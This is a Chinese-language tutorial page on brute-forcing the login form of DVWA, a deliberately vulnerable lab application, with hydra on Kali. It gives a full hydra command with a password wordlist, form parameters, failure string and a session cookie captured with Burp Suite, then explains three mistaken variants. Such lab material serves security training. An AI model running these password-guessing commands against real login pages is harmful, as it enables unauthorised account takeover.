当前位置: 代码迷 >> 综合 >> kali:OWASP DVWA Vulnerability: Brute Force 暴力破解的具体实现
  详细解决方案

kali:OWASP DVWA Vulnerability: Brute Force 暴力破解的具体实现

热度:67   发布时间:2024-02-07 01:57:52.0

首先给出正确的暴力破解命令:

hydra -l admin -P /usr/share/wordlists/metasploit/password.lst  10.10.10.143 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login#:Username and/or password incorrect.:H=Cookie: security=low;PHPSESSID=9gughtdqf2rbv8cl6de9fmvui2;"


C指定的是cookie文件的路径, 这个路径是服务器上的路径, 也就是说如果服务器上存放cookie的文件是/path/cookie, 那么就可以用:C=/path/cookie来指定hydra从服务器上获取cookie, 然后自动添加到每次的get或者post的http header中, 如果像dvwa这样没有cookie的专门文件或者我们不知道cookie的存放文件, 那么就用:H来每次手动指定。

如果指定了:C=/path/cookie 那么每次hydra提交之前首先会去get /path/cookie 来得到cookie, 然后每次分析response返回的信息,自动将cookie添加到http 的header中。

:H其实是用来手动添加Header 域的, 比如上面的我们手动添加了 :H=Cookie: security=low; PHPSESSID=9gughtdqf2rbv8cl6de9fmvui2;(PHPSESSID通过burpsuite获得这个值很重要), 这其实是告诉hydra每次get或者post的时候要添加上这个:H后面的头部的域。


坑1:

如果你认为如下就能自动破解那就大错特错了,啥也暴不出来,因为这是http-get-form提交形式:

hydra -l admin -P password.txt  IP http-get "/dvwa/vulnerabilities/brute/"

坑2:

如果认为按以下暴力破解也会错,因为form必须制定username、password对应参数

hydra -l admin -P password.txt  127.0.0.1 http-get-form "/dvwa/vulnerabilities/brute/"

坑3:

如果按找DVWA网站的破解说明构造,也一定不对。hydra一般不会考虑cookie,

hydra -l admin -P password.txt -vV 127.0.0.1 http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login#:Username and/or password incorrect."

发现这个cookie是在使用浏览器登录的时候就设置好的, 不同的浏览器cookie是不同的, 开始默认的security= high, 当修改安全级别后服务器会重新发送set-cookie 为low, 以后每次提交表单或者get 操作都要提交这个cookie, 负责服务器验证是通不过的。

下面关键的来了:

用burpsuite,截获网页信息

当我们登录成功后将安全等级提交为lhigh和ow后, 可以看到cookie是有变化的,可以获取到PHPSESSID=9gughtdqf2rbv8cl6de9fmvui2;这个太重要了。

 

  相关解决方案